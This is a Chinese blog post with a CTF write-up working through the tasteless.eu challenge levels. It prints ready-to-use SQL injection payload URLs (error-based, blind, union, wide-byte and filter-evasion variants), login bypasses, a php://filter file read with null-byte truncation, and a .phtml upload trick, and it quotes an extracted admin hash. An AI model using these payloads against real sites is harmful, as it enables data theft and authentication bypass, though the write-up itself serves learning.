第一题好像就很难,看了payload,算是涨见识了,感觉有点为了猜而猜。

题目给我们的时候是这样的:http://chall.tasteless.eu/level1/index.php?dir=ASC

asc,desc  一对好基友,所以猜测是order by 后的注入。然后有个提示:Capture the flag! hint: table level1_flag column flag  No Bsqli!!

不用布尔型注入。想法就是报错注入, 

然后把语句丢上去。

http://chall.tasteless.eu/level1/index.php?dir=and (updatexml(1,concat(1,(select flag from level1_flag limit 0,1),1),1))--+     直接返回错误,应该是关闭错误回显吧,也可能是括号构造的不够多,没有闭合更前面的括号。

后来看了答案在知道整个语句下的测试:

http://chall.tasteless.eu/level1/index.php?dir=and (updatexml(1,concat(1,(select flag from level1_flag limit 0,1),1),1)))--+

比上面多了个括号,还是报错,把limit 增加上去。

http://chall.tasteless.eu/level1/index.php?dir=and (updatexml(1,concat(1,(select flag from level1_flag limit 1,1),1),1)))--+

这时返回正确,说明语句对了,更前面需要一个括号,然后他关闭了报错语句。

判断如下。当limit小于表中的列数,报错并返回数据,如果limit大于等于表中的列数,返回全部结果。也就是页面返回正常,所以判断为关闭了报错语句。

写不出来就去找答案了。http://qkqhxla1.tistory.com/m/191

他猜的过程都在链接里,(select * from table order by 1 $_GET['dir']);

语句是这样的,括号在最前面,还是第一次看到这么写,闭合括号然后就能union了,

一开始判断为order by注入,然后按着order by 注入一路走,因为order by 后面不能跟union,所以正常的出数据只能靠布尔型或者报错来判断。下次遇到这样的就能想到这题了。

mysql> (select 1) union (select 2);
+---+
| 1 |
+---+
| 1 |
| 2 |
+---+
2 rows in set (0.00 sec)

  

第二题就比较友好了,一分钟就出来了。

http://chall.tasteless.eu/level2/index.php?req=f' union (select 1,2,flag from level2_flag)--+

 

第四题:

不懂flag的格式:

用guest guest 登录以后,id存在注入

http://chall.tasteless.eu/level4/index.php?action=pm&id=1 and 'b'=substr((select pass from level4 where username='admin'),1,1)--+

正则匹配出现union字符串就报错,用盲注的形式。

注入出来admin的密码是98aa0ec014a46e34571affaf88999ebb

登录不了,不知道属不属于flag。

-----------

http://chall.tasteless.eu/level5/index.php5

是个登录题,登录题一般来说比较恶心,没回显,全靠经验加猜思路。得猜测注入点是在账号上还是密码上,然后是要闭合呢还是要用判断的方式绕过,或者去注释username的单引号,使之闭合后面的单引号然后用or 1=1 去绕。

这次是个宽字节的注入。

账号admin  密码:a%df%27!=2%23

后台注入的时候可以用如下的语句来想想他考的点能出现在哪里,

select * from user where username='admin' and password='a';

 

 

------------

第六题:

一开始用,(exists((select flag from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)))%23

发现可以爆出数据库的版本,但是想(exists((select flag from (select NAME_CONST((select flag from level6_flag),1),NAME_CONST((1),1)) as x)))%23

发现不行了,没法爆出来。name_const()提示错误。好像是只能爆常量,

 

http://chall.tasteless.eu/level6/index.php?in=,(select 1 from (select count(1),concat((select flag from level6_flag),floo*r(ra*nd(0)^2))x from (select 1 union select 2 union select 3)a group by x)b)%23

第一个语句中规中矩的group by报错注入,但是要注意的点就是过滤了or and * ,但是过滤的方式是替换成空,所以在某些关键字上要加一次,比如floor rand  都有出现or和and。

一开始不是用这个的,是用updatexml  extractvalue 这两个函数,但是无论怎么加,最后还是过滤了,直接被die()掉.

 

http://chall.tasteless.eu/level6/index.php?in=,(coalesce((select flag from level6_flag where hex(substr(flag,1,1))=hex(98) oorr null limit 1),(select 1 union select 2)))%23

第二个就比较有意思了,第一次见这个函数,如果要复制的时候注意oorr,只有一个or。是为了绕过滤才写oorr。

Sql代码  
select coalesce(a,b,c);  

如果a==null,则选择b;如果b==null,则选择c;如果a!=null,则选择a;如果a b c 都为null ,则返回为null(没意义)。 

 

 

 

 

http://chall.tasteless.eu/level8/index.php

注册,然后空格多点在加个1让他判断不是注册admin ,然后到空格后面就截断了,1就没算进来,所以注册admin 成功

 

 

看到后台注入就先怂了50分。

http://chall.tasteless.eu/level10/index.php

账号:admin\   密码or 1=1

注释admin后面的单引号,然后就能or 1=1绕过了。

 

--------------- 

http://level11.tasteless.eu/index.php?file=php://filter/convert.base64-encode/resource=config.easy.inc.php

第二个过滤了php data 等关键字,应该不是替空操作,想到用%00看能不能截断,应该是没开gpc吧,读取php.ini,发现magic_quotes_gpc = Off

http://level11.tasteless.eu/index.php?hard=1&file=%00php://filter/read=convert.base64-encode/resource=config.hard.inc.php

 

-------------

http://chall.tasteless.eu/level15/index.php

应该是个insert注入

本地先构造一下,让思路清晰起来。

mysql> insert user(id,username,password) values('1','aaa','bbb');

然后我们能搞的应该就这样的。

mysql> insert user(id,username,password) values('3','aaa\',',(select user()));#');

 

------------------

http://level18.tasteless.eu/index.php~

过滤了php后缀,phtml直接秒掉 

 

posted on 2017-06-24 21:21  羊小弟  阅读(812)  评论(0编辑  收藏  举报